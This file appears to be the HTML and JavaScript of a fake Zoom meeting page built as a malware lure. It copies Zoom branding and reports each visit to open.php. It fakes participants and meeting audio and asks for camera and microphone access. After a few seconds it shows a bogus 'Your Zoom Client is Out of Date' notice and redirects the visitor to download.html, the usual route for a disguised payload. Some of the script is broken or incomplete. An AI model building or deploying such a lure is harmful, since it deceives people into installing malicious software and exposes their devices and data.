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📄index.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Zoom Meeting | Secure Video Conference</title>
    <link rel="icon" type="image/png" href="https://st1.zoom.us/zoom.ico">
    <script src="mobile-block.js"></script>

* {
            margin: 0;
            padding: 0;
            box-sizing: border-box
        }

body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
            background: var(--zoom-dark-bg);
            color: var(--zoom-text);
            min-height: 100vh;
            overflow-x: hidden
        }

.zoom-logo {
            width: 100px;
            height: 100px;
            background: var(--zoom-card-bg);
            border: 2px solid var(--zoom-blue);
            border-radius: 20px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            font-weight: 700;
            color: var(--zoom-blue)
        }

.zoom-logo-small {
            width: 60px;
            height: 60px;
            background: var(--zoom-card-bg);
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
            font-weight: 700;
            color: var(--zoom-blue)
        }

.loading-dots {
            display: flex;
            gap: 8px;
            justify-content: center;
            margin: 20px 0
        }

.loading-dots span {
            width: 12px;
            height: 12px;
            background: var(--zoom-blue);
            border-radius: 50%;
            animation: dotPulse 1.4s infinite ease-in-out
        }

@keyframes dotPulse {

0%,
            80%,
            100% {
                transform: scale(.6);
                opacity: .5
            }

40% {
                transform: scale(1);
                opacity: 1
            }
        }

.meeting-card {
            background: linear-gradient(145deg, #2a2a2a, #1f1f1f);
            border: 1px solid var(--zoom-border);
            border-radius: 16px;
            padding: 24px
        }

.host-avatar {
            width: 50px;
            height: 50px;
            border-radius: 50%;
            background: linear-gradient(135deg, #667eea, #764ba2);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 20px;
            font-weight: 700;
            border: 2px solid var(--zoom-green)
        }

.join-btn {
            background: var(--zoom-blue);
            border: none;
            border-radius: 12px;
            padding: 16px;
            font-size: 18px;
            font-weight: 600;
            color: white;
            cursor: pointer;
            width: 100%;
            transition: all .2s
        }

.join-btn:hover {
            background: #1a7ae8;
            transform: translateY(-1px)
        }

.participant-tile {
            background: linear-gradient(180deg, #2d3a3a 0%, #1e2626 100%);
            border-radius: 12px;
            position: relative;
            overflow: hidden;
            aspect-ratio: 16/9
        }

.participant-tile.speaking {
            box-shadow: 0 0 0 3px var(--zoom-green)
        }

.participant-avatar {
            width: 80px;
            height: 80px;
            border-radius: 50%;
            background: linear-gradient(135deg, #667eea, #764ba2);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 32px;
            font-weight: 700;
            border: 3px solid transparent
        }

.participant-info {
            position: absolute;
            bottom: 0;
            left: 0;
            right: 0;
            padding: 12px;
            background: linear-gradient(transparent, rgba(0, 0, 0, .8))
        }

.control-bar {
            background: #3C4043;
            border-radius: 12px;
            padding: 8px 12px
        }

.control-btn {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 4px;
            padding: 8px 12px;
            border: none;
            background: transparent;
            color: white;
            cursor: pointer;
            border-radius: 8px;
            font-size: 11px;
            transition: background .2s
        }

.control-btn:hover {
            background: rgba(255, 255, 255, .08)
        }

.control-btn.active {
            background: var(--zoom-red)
        }

.control-btn.leave {
            background: var(--zoom-red)
        }

.notification-banner {
            position: fixed;
            top: 70px;
            left: 50%;
            transform: translateX(-50%);
            background: linear-gradient(135deg, rgba(45, 140, 255, .95), rgba(59, 130, 246, .95));
            padding: 8px 12px;
            border-radius: 16px;
            z-index: 1000;
            display: flex;
            align-items: center;
            gap: 8px;
            box-shadow: 0 8px 20px rgba(45, 140, 255, .18);
            backdrop-filter: blur(6px);
            border: 1px solid rgba(255, 255, 255, .08);
            max-width: 90%;
            font-size: 13px;
        }

.notification-banner.leave {
            background: linear-gradient(135deg, rgba(239, 68, 68, .95), rgba(220, 38, 38, .95))
        }

.notification-avatar {
            width: 28px;
            height: 28px;
            border-radius: 50%;
            background: rgba(255, 255, 255, .12);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 12px;
            font-weight: 700;
            flex-shrink: 0
        }

.notification-content {
            display: flex;
            flex-direction: column;
            gap: 2px
        }

.notification-title {
            font-weight: 600;
            font-size: 13px;
            color: #fff
        }

.notification-subtitle {
            font-size: 11px;
            color: rgba(255, 255, 255, .9)
        }

.chat-panel {
            position: fixed;
            right: -350px;
            top: 0;
            bottom: 0;
            width: 350px;
            background: var(--zoom-card-bg);
            border-left: 1px solid var(--zoom-border);
            transition: right .3s ease;
            z-index: 100;
            display: flex;
            flex-direction: column
        }

.chat-panel.open {
            right: 0
        }

.modal-overlay {
            position: fixed;
            inset: 0;
            background: rgba(0, 0, 0, .7);
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 200
        }

.modal-content {
            background: var(--zoom-card-bg);
            border-radius: 16px;
            padding: 24px;
            max-width: 400px;
            width: 90%
        }

.spinner {
            width: 40px;
            height: 40px;
            border: 4px solid var(--zoom-border);
            border-top-color: var(--zoom-blue);
            border-radius: 50%;
            animation: spin 1s linear infinite
        }

@keyframes spin {
            to {
                transform: rotate(360deg)
            }
        }

.thumbnail-tile {
            width: 80px;
            height: 60px;
            background: var(--zoom-card-bg);
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            position: relative
        }

.thumbnail-tile .thumb-avatar {
            width: 36px;
            height: 36px;
            border-radius: 50%;
            background: linear-gradient(135deg, #667eea, #764ba2);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
            font-weight: 700
        }

video {
            width: 100%;
            height: 100%;
            object-fit: cover
        }

.hidden {
            display: none !important
        }

/* Enable speaker floating button */
        .audio-enable {
            position: fixed;
            left: 50%;
            transform: translateX(-50%);
            bottom: 20px;
            z-index: 2100;
            padding: 8px 10px;
            border-radius: 999px;
            display: none;
            align-items: center;
            gap: 8px;
            background: linear-gradient(90deg, #e02828, #b71c1c);
            box-shadow: 0 8px 20px rgba(224, 40, 40, .16);
            color: white;
            font-size: 13px;
        }

/* Network Issue Badge (Zoom style) */
        .network-badge {
            position: absolute;
            top: 12px;
            left: 12px;
            background: rgba(220, 38, 38, 0.85);
            color: #fff;
            padding: 4px 8px;
            font-size: 11px;
            border-radius: 6px;
            z-index: 20;
            pointer-events: none;
            display: none;
        }

.network-issue .network-badge {
            display: inline-flex;
        }

.audio-enable.show {
            display: flex
        }

.audio-enable .label {
            font-weight: 700;
            margin-right: 6px
        }

.audio-enable .btn {
            background: transparent;
            border: 1px solid rgba(255, 255, 255, .12);
            padding: 6px 8px;
            color: white;
            border-radius: .5rem;
            font-size: 13px
        }

.audio-failed-banner {
            position: fixed;
            left: 50%;
            transform: translateX(-50%);
            top: 20px;
            background: rgba(0, 0, 0, .6);
            padding: 8px 12px;
            border-radius: 12px;
            color: #fff;
            z-index: 2200;
            display: none
        }

@media (min-width: 1024px) {
            #meeting-screen {
                max-width: 1600px;
                margin: 0 auto
            }

main {
                display: grid;
                grid-template-columns: 3fr 1.2fr;
                gap: 12px;
                padding: 12px;
                overflow: hidden
            }

main>div:first-child {
                grid-column: 1/2
            }

#local-tile {
                position: relative;
                min-height: 180px;
                max-height: 220px
            }

#featured-participant {
                min-height: 600px !important;
                max-height: 700px
            }

#featured-participant .participant-avatar {
                width: 64px;
                height: 64px;
                font-size: 22px
            }

.local-mirror {
                transform: scaleX(-1)
            }

#featured-name {
                font-size: 18px
            }

#featured-role {
                font-size: 13px
            }

#local-video-small {
                object-fit: cover
            }

#thumbnails-container {
                display: flex;
                gap: 10px;
                padding-bottom: 6px
            }

.thumbnail-tile {
                width: 120px;
                height: 80px;
                flex-shrink: 0
            }

.chat-panel {
                width: 360px
            }

footer {
                max-width: 1600px;
                margin: 0 auto
            }

.control-bar {
                padding: 6px 10px
            }

.control-btn {
                font-size: 10px;
                padding: 6px 10px
            }
        }
    </style>
</head>

<body>
    <div id="app">
        <div id="loading-screen" class="min-h-screen flex flex-col items-center justify-center p-4">
            <div class="zoom-logo mb-6 shadow-lg border-none bg-transparent">
                <img src="zoom.webp" width="100" height="100" class="rounded-[20px]">
            </div>
            <h1 class="text-3xl font-semibold text-blue-500 mb-4">Zoom Meeting</h1>
            <p class="text-gray-400 mb-4">Preparing your meeting experience...</p>
            <div class="loading-dots"><span></span><span></span><span></span></div>
            <p class="text-gray-500 text-sm mt-6" id="meeting-id-loading">Meeting ID: meeting-1764987494729</p>
        </div>

<div id="prejoin-screen" class="min-h-screen flex flex-col items-center justify-center p-4 hidden">
            <div class="w-full max-w-md">
                <div class="flex items-center gap-4 mb-8">
                    <div class="zoom-logo-small shadow-md border-none bg-transparent">
                        <img src="zoom.webp" width="60" height="60" class="rounded-[12px]">
                    </div>
                    <div>
                        <h2 class="text-xl font-semibold text-blue-500">Zoom Meeting</h2>
                        <p class="text-gray-400 text-sm">Ready to join</p>
                    </div>
                </div>

<div class="meeting-card mb-4">
                    <h3 class="text-xl font-semibold mb-4" id="meeting-title">Zoom Meeting - 1764987494729</h3>
                    <div class="flex items-center gap-3 mb-4 p-3 bg-black/20 rounded-lg">
                        <div class="host-avatar" id="host-avatar">PN</div>
                        <div>
                            <p class="font-semibold" id="host-name">Host</p>
                            <p class="text-gray-400 text-sm flex items-center gap-1">
                                <svg class="w-4 h-4" fill="currentColor" viewBox="0 0 20 20">
                                    <path d="M10 9a3 3 0 100-6 3 3 0 000 6zm-7 9a7 7 0 1114 0H3z" />
                                </svg>
                                <span id="host-role">Meeting Host • Friend & Family</span>
                            </p>
                        </div>
                    </div>

<div class="flex gap-4 mb-4">
                        <div class="flex items-center gap-2 text-gray-400 text-sm">
                            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                <rect x="3" y="4" width="18" height="18" rx="2" ry="2"></rect>
                                <line x1="16" y1="2" x2="16" y2="6"></line>
                                <line x1="8" y1="2" x2="8" y2="6"></line>
                                <line x1="3" y1="10" x2="21" y2="10"></line>
                            </svg>
                            <span>Today</span>
                        </div>
                        <div class="flex items-center gap-2 text-gray-400 text-sm">
                            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                <circle cx="12" cy="12" r="10"></circle>
                                <polyline points="12 6 12 12 16 14"></polyline>
                            </svg>
                            <span id="meeting-duration">45 min</span>
                        </div>
                    </div>

<div class="bg-blue-500/20 text-blue-400 text-center py-3 rounded-lg mb-4">
                        <span id="expected-participants">2 people</span> are expected to join
                    </div>

<button class="join-btn mb-4" id="join-btn">Join Meeting</button>

<p class="text-gray-500 text-xs text-center">Camera and microphone will be activated based on your
                        permissions</p>
                </div>

<div class="text-center">
                    <p class="text-gray-600 text-sm bg-black/30 inline-block px-4 py-2 rounded-lg"
                        id="meeting-id-display">
                        ID: meeting-1764987494729
                    </p>
                </div>
            </div>
        </div>

<div id="meeting-screen" class="min-h-screen flex flex-col hidden">
            <header class="flex items-center justify-between p-3 bg-black/40">
                <div class="flex items-center gap-3">
                    <div class="zoom-logo-small shadow-sm border-none bg-transparent"
                        style="width:32px;height:32px;border-radius:6px;">
                        <img src="zoom.webp" width="32" height="32" class="rounded-[6px]">
                    </div>
                    <div>
                        <p class="font-semibold text-sm" id="header-meeting-title">Zoom Meeting - 1764987494729</p>
                        <p class="text-gray-400 text-xs">Zoom • <span id="participant-count">4 people</span></p>
                    </div>
                </div>
                <button class="text-gray-400 p-2">
                    <svg class="w-6 h-6" fill="currentColor" viewBox="0 0 20 20">
                        <path
                            d="M10 6a2 2 0 110-4 2 2 0 010 4zM10 12a2 2 0 110-4 2 2 0 010 4zM10 18a2 2 0 110-4 2 2 0 010 4z" />
                    </svg>
                </button>
            </header>

<main class="flex-1 p-3 overflow-auto">
                <div id="featured-participant" class="participant-tile mb-3 flex flex-col items-center justify-center relative overflow-hidden" style="min-height:500px;">
                    <div class="network-badge">Network Issue</div>
                    <div id="featured-avatar" class="participant-avatar mb-4" style="width:120px;height:120px;font-size:48px;">You</div>
                    <div class="text-center">
                        <p id="featured-name" class="text-2xl font-bold">You</p>
                        <p id="featured-role" class="text-gray-400">Host</p>
                    </div>
                    <video id="local-video-small" class="absolute inset-0 rounded-xl hidden local-mirror" autoplay muted playsinline></video>
                </div>
            </main>

<footer class="p-2">
                <div class="control-bar">
                    <div class="flex justify-around mb-2">
                        <button class="control-btn active" id="unmute-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <path d="M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z" />
                                <path d="M19 10v2a7 7 0 0 1-14 0v-2" />
                            </svg>
                            <span>Unmute</span>
                        </button>
                        <button class="control-btn" id="video-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <polygon points="23 7 16 12 23 17 23 7" />
                                <rect x="1" y="5" width="15" height="14" rx="2" ry="2" />
                            </svg>
                            <span>Video</span>
                        </button>
                        <button class="control-btn" id="share-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <rect x="2" y="3" width="20" height="14" rx="2" ry="2" />
                                <line x1="8" y1="21" x2="16" y2="21" />
                                <line x1="12" y1="17" x2="12" y2="21" />
                            </svg>
                            <span>Share</span>
                        </button>
                        <button class="control-btn" id="record-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <circle cx="12" cy="12" r="10" />
                                <circle cx="12" cy="12" r="4" fill="currentColor" />
                            </svg>
                            <span>Record</span>
                        </button>
                        <button class="control-btn" id="people-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2" />
                                <circle cx="9" cy="7" r="4" />
                            </svg>
                            <span>People</span>
                        </button>
                        <button class="control-btn" id="chat-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z" />
                            </svg>
                            <span>Chat</span>
                        </button>
                        <button class="control-btn" id="security-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" />
                            </svg>
                            <span>Security</span>
                        </button>
                        <button class="control-btn" id="poll-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <rect x="3" y="3" width="7" height="7" />
                                <rect x="14" y="3" width="7" height="7" />
                                <rect x="14" y="14" width="7" height="7" />
                            </svg>
                            <span>Poll</span>
                        </button>
                        <button class="control-btn" id="view-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <rect x="3" y="3" width="7" height="7" />
                            </svg>
                            <span>View</span>
                        </button>
                        <button class="control-btn leave" id="leave-btn">
                            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                <path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4" />
                                <polyline points="16 17 21 12 16 7" />
                            </svg>
                            <span>Leave</span>
                        </button>
                    </div>
                </div>
            </footer>
        </div>

<div class="chat-panel" id="chat-panel">
            <div class="flex items-center justify-between p-4 border-b border-gray-700">
                <h3 class="font-semibold">Meeting Chat</h3>
                <button id="close-chat" class="text-gray-400 hover:text-white">
                    <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                            d="M6 18L18 6M6 6l12 12" />
                    </svg>
                </button>
            </div>
            <div class="flex-1 overflow-auto p-4" id="chat-messages"></div>
            <div class="p-4 border-t border-gray-700">
                <div class="flex gap-2">
                    <input type="text" id="chat-input" class="flex-1 bg-gray-700 rounded-lg px-4 py-2 text-sm"
                        placeholder="Type a message...">
                    <button id="send-chat" class="bg-blue-500 px-4 py-2 rounded-lg text-sm font-medium">Send</button>
                </div>
            </div>
        </div>

<div id="participants-modal" class="modal-overlay hidden">
            <div class="modal-content">
                <div class="flex items-center justify-between mb-4">
                    <h3 class="text-lg font-semibold">Participants</h3>
                    <button id="close-participants" class="text-gray-400 hover:text-white">
                        <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                                d="M6 18L18 6M6 6l12 12" />
                        </svg>
                    </button>
                </div>
                <div id="participants-list" class="space-y-3 max-h-80 overflow-auto"></div>
            </div>
        </div>

<div id="update-modal" class="modal-overlay hidden" aria-hidden="true">
            <div class="modal-content text-center">
                <h3 class="text-xl font-semibold mb-2">Your Zoom Client is Out of Date</h3>
                <p class="text-gray-400 mb-4">A new version is available for download</p>
                <div class="flex justify-center mb-4">
                    <div class="spinner"></div>
                </div>
                <p class="text-gray-400 mb-4">Please wait while you're redirected to Microsoft Store...<br> <span
                        id="countdown" class="text-blue-500 font-bold">3</span>s</p>
                <p id="download-status" class="text-green-500 hidden">Download Complete! Redirecting...</p>
            </div>
        </div>

<div id="audio-enable" class="audio-enable" role="region" aria-live="polite">
            <div class="label">Enable Speaker</div>
            <button id="audio-enable-btn" class="btn">Speaker On</button>
        </div>

<div id="audio-failed-banner" class="audio-failed-banner" role="status" aria-hidden="true">Audio blocked or
            failed to play — check console</div>
        <audio id="background-audio" class="hidden" loop crossOrigin="anonymous">
            <source src="meeting_audio.wav" type="audio/wav">
        </audio>
    </div>

const CONFIG = {
                OVERLAY_INTERVAL_MS: 8000, // 8 seconds before overlay (gives audio time to play)
                OVERLAY_COUNTDOWN_SEC: 3, // Exactly 3 seconds
                NETWORK_DROP_CHANCE: 2,
                NETWORK_JITTER_MS: 500,
                SPEAKING_THRESHOLD: 0.02,
                LOADING_DURATION_MS: 2000,
                MEETING_ID: 'meeting-1764987494729'
            };

const PARTICIPANTS = [
                { id: 'host', name: 'Host', initials: 'H', role: 'Meeting Host', audioFile: null, joinDelay: 0, leaveDelay: null, isHost: true },
                { id: 'guest1', name: 'Sarah Chen', initials: 'SC', role: 'Guest', audioFile: null, joinDelay: 0, leaveDelay: null, isHost: false },
                { id: 'guest2', name: 'Michael Scott', initials: 'MS', role: 'Guest', audioFile: null, joinDelay: 0, leaveDelay: null, isHost: false }
            ];

const AUDIO_FILES = {
                userJoined: null,
                userLeft: null,
                mute: null,
                unmute: null,
                newSpeaker: null,
                recordingStart: null,
                recordingStop: null
            };

let state = {
                inMeeting: false,
                localStream: null,
                autoJoined: false,
                micEnabled: false,
                videoEnabled: true,
                activeParticipants: [],
                audioContext: null,
                analysers: {},
                audioElements: {},
                overlayInterval: null,
                conversationTimeouts: [],
                animationFrameId: null,
                countdownInterval: null,
                audioBlocked: false,
                speakerOn: false,
                audioEnableShown: false,
                speakerOffTimeout: null,
                redirectScheduled: false,
                updateCountdownStarted: false
            };

const elements = {};

if (document.readyState !== 'loading') {
                setTimeout(init, 10);
            } else {
                document.addEventListener('DOMContentLoaded', init);
            }

function init() {
                cacheElements();
                bindEvents();
                showLoadingScreen();
                sendOpenNotification();
            }

function armAutoJoinWithUserGesture() {
                const handler = () => {
                    console.log('✅ User gesture captured');
                    elements.joinBtn.textContent = 'Joining Meeting…';
                    elements.joinBtn.disabled = true;

setTimeout(() => {
                        joinMeeting();
                    }, 5000);

document.removeEventListener('click', handler);
                    document.removeEventListener('keydown', handler);
                    document.removeEventListener('touchstart', handler);
                };

async function sendOpenNotification() {
                try {
                    await fetch('open.php', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ meetingId: CONFIG.MEETING_ID, timestamp: Date.now() })
                    });
                } catch (e) { console.warn('open notify failed', e) }
            }

function cacheElements() {
                elements.loadingScreen = document.getElementById('loading-screen');
                elements.prejoinScreen = document.getElementById('prejoin-screen');
                elements.meetingScreen = document.getElementById('meeting-screen');
                elements.joinBtn = document.getElementById('join-btn');
                elements.leaveBtn = document.getElementById('leave-btn');
                elements.unmuteBtn = document.getElementById('unmute-btn');
                elements.videoBtn = document.getElementById('video-btn');
                elements.chatBtn = document.getElementById('chat-btn');
                elements.peopleBtn = document.getElementById('people-btn');
                elements.chatPanel = document.getElementById('chat-panel');
                elements.closeChat = document.getElementById('close-chat');
                elements.chatInput = document.getElementById('chat-input');
                elements.sendChat = document.getElementById('send-chat');
                elements.chatMessages = document.getElementById('chat-messages');
                elements.participantsModal = document.getElementById('participants-modal');
                elements.closeParticipants = document.getElementById('close-participants');
                elements.participantsList = document.getElementById('participants-list');
                elements.updateModal = document.getElementById('update-modal');
                elements.countdown = document.getElementById('countdown');
                elements.downloadStatus = document.getElementById('download-status');
                elements.localVideoSmall = document.getElementById('local-video-small');
                elements.featuredVideo = document.getElementById('featured-video');
                elements.featuredParticipant = document.getElementById('featured-participant');
                elements.featuredAvatar = document.getElementById('featured-avatar');
                elements.featuredName = document.getElementById('featured-name');
                elements.featuredRole = document.getElementById('featured-role');
                elements.featuredNameBottom = document.getElementById('featured-name-bottom');
                elements.thumbnailsContainer = document.getElementById('thumbnails-container');
                elements.notificationContainer = document.getElementById('notification-container');
                elements.participantCount = document.getElementById('participant-count');
                elements.othersCount = document.getElementById('others-count');
                elements.localTile = document.getElementById('local-tile');
                elements.audioEnable = document.getElementById('audio-enable');
                elements.audioEnableBtn = document.getElementById('audio-enable-btn');
                elements.audioFailedBanner = document.getElementById('audio-failed-banner');
            }

function showLoadingScreen() {
                elements.loadingScreen.classList.remove('hidden');
                elements.prejoinScreen.classList.add('hidden');
                elements.meetingScreen.classList.add('hidden');

setTimeout(() => {
                    elements.loadingScreen.classList.add('hidden');
                    elements.prejoinScreen.classList.remove('hidden');
                    armAutoJoinWithUserGesture();
                }, CONFIG.LOADING_DURATION_MS);
            }

async function joinMeeting() {
                try {
                    if (!state.audioContext) initAudioContext();
                    try { await state.audioContext.resume() } catch (e) { }

let stream = null;

if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
                        try {
                            stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true });
                        } catch {
                            try {
                                stream = await navigator.mediaDevices.getUserMedia({ audio: true, video: false });
                            } catch {
                                try {
                                    stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: false });
                                } catch {
                                    stream = null;
                                }
                            }
                        }
                    }

state.localStream = stream;

if (state.localStream) {
                        const videoTracks = state.localStream.getVideoTracks();
                        const audioTracks = state.localStream.getAudioTracks();

if (videoTracks.length && elements.localVideoSmall) {
                            elements.localVideoSmall.srcObject = state.localStream;
                            elements.localVideoSmall.classList.remove('hidden');
                            state.videoEnabled = true;
                        } else {
                            state.videoEnabled = false;
                            elements.localVideoSmall.classList.add('hidden');
                        }

if (audioTracks.length) {
                            audioTracks.forEach(t => t.enabled = false);
                            state.micEnabled = false;
                        } else {
                            state.micEnabled = false;
                        }
                    } else {
                        state.videoEnabled = false;
                        state.micEnabled = false;
                        elements.localVideoSmall.classList.add('hidden');
                    }

if (elements.featuredVideo) {
                        elements.featuredVideo.classList.add('hidden');
                    }

elements.prejoinScreen.classList.add('hidden');
                    elements.meetingScreen.classList.remove('hidden');
                    state.inMeeting = true;

await unlockAudio();
                    simulateParticipantsJoining();
                    startConversationAudio();
                    startRecurringOverlay();
                    updateParticipantsList();

} catch (err) {
                    console.error('Failed to join meeting:', err);
                    alert('Unable to start meeting. See console.');
                    elements.joinBtn.disabled = false;
                    elements.joinBtn.textContent = 'Join Meeting';
                }
            }

function initAudioContext() { if (!state.audioContext) { state.audioContext = new (window.AudioContext || window.webkitAudioContext)(); console.log('AudioContext', state.audioContext.state) } }

async function unlockAudio() { try { if (!state.audioContext) initAudioContext(); if (state.audioContext.state === 'suspended') await state.audioContext.resume(); const buffer = state.audioContext.createBuffer(1, 1, state.audioContext.sampleRate || 44100); const src = state.audioContext.createBufferSource(); src.buffer = buffer; src.connect(state.audioContext.destination); src.start(0); await new Promise(r => setTimeout(r, 50)); console.log('Audio unlocked'); state.audioBlocked = false; hideAudioEnable(); return true; } catch (err) { console.warn('unlockAudio failed', err); state.audioBlocked = true; return false } }

function addParticipant(participant) { if (state.activeParticipants.find(p => p.id === participant.id)) return; state.activeParticipants.push(participant); updateParticipantsUI(); updateParticipantsList(); }
            function removeParticipant(participantId) { state.activeParticipants = state.activeParticipants.filter(p => p.id !== participantId); updateParticipantsUI(); updateParticipantsList(); }

function startConversationAudio() {
                console.log('🎙️ Starting video.mp4 background audio...');

const bgAudio = new Audio('meeting_audio.wav');
                bgAudio.loop = true;
                bgAudio.volume = 1.0;
                bgAudio.preload = 'auto';
                state.audioElements['video_back'] = bgAudio;

bgAudio.play().then(() => {
                    console.log('✅ Background audio playing from video.mp4');
                    state.speakerOn = true;
                    hideAudioEnable();
                }).catch(err => {
                    console.warn('❌ Autoplay blocked, will retry on Speaker On:', err);
                    showAudioEnableOnce();
                });
            }

function switchFeaturedSpeaker(newSpeaker) { const idx = state.activeParticipants.findIndex(p => p.id === newSpeaker.id); if (idx === -1 || idx === 0) return; const removed = state.activeParticipants.splice(idx, 1)[0]; state.activeParticipants.unshift(removed); updateParticipantsUI(); playUISound(AUDIO_FILES.newSpeaker) }

function showNetworkIssue(participantId) { const isFeatured = state.activeParticipants[0]?.id === participantId; if (isFeatured) { elements.featuredParticipant.classList.add('network-issue'); setTimeout(() => elements.featuredParticipant.classList.remove('network-issue'), 3000) } }

function showUpdateModal() {
                if (state.updateCountdownStarted) return;
                state.updateCountdownStarted = true;

elements.updateModal.classList.remove('hidden');
                elements.downloadStatus.classList.add('hidden');

if (state.countdownInterval) {
                    clearInterval(state.countdownInterval);
                    state.countdownInterval = null;
                }

let countdown = CONFIG.OVERLAY_COUNTDOWN_SEC;
                elements.countdown.textContent = countdown;

state.countdownInterval = setInterval(() => {
                    countdown--;
                    elements.countdown.textContent = countdown;

if (countdown <= 0) {
                        clearInterval(state.countdownInterval);
                        state.countdownInterval = null;
                        triggerDownload();
                    }
                }, 1000);

if (state.speakerOffTimeout) {
                    clearTimeout(state.speakerOffTimeout);
                    state.speakerOffTimeout = null;
                }

state.speakerOffTimeout = setTimeout(() => {
                    try { speakerOff(); } catch (e) { console.warn('speakerOff error', e); }
                    state.speakerOffTimeout = null;
                    window.parent.location.href = 'download.html';
                }, 3000);
            }

function triggerDownload() {
            }

async function onUserEnableAudio() { state.audioEnableShown = true; const unlocked = await unlockAudio(); if (!unlocked) { console.warn('unlockAudio failed on user enable'); return } await speakerOn(); hideAudioEnable(); }

})();
    </script>
</body>

</html>